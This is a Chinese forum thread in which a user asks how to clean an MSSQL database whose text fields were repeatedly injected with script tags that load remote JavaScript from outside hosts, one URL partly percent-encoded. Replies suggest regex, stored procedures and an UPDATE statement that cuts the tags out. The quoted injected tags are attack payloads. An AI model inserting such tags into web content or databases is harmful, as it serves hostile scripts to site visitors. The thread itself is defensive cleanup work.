VBscript语句求助

webhuman

一个MSSQL数据库，文本型字段被sql注入语句，语句为

1. <script src=http://3b3.org/c.js></script>
   
2. <Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>
   
3. 该语句被反复注入

复制代码

现在准备使用asp文件在线清除这些注入代码，问题是

1.如何判断表中字段是否存在注入语句
2.如何replace干净。

我的设想是

判断文本中是否存在"<scripe" or "</script>"

如果存在 则 如何替代？

如果不存在 则 该字段健康

假设表名为Table1，字段名为Name1，索引字段为id

judite

一定要用sql的正则么？
这个不会用那换种工具呗
比如perl；比如php；比如c

尚枫

直接用存储过程吧，完全可以不用管SQL注入

blueblue

正则表达式可以的。

lsj

用个SQL语句应该就可以了
update Table1 set Name1=substring(Name1,1,charindex('<script', Name1)-1)
+substring(Name1,charindex('</script>', Name1)+9,len(Name1)-charindex('</script>', Name1)-8)
where patindex('%<script%</script>%', Name1) <> 0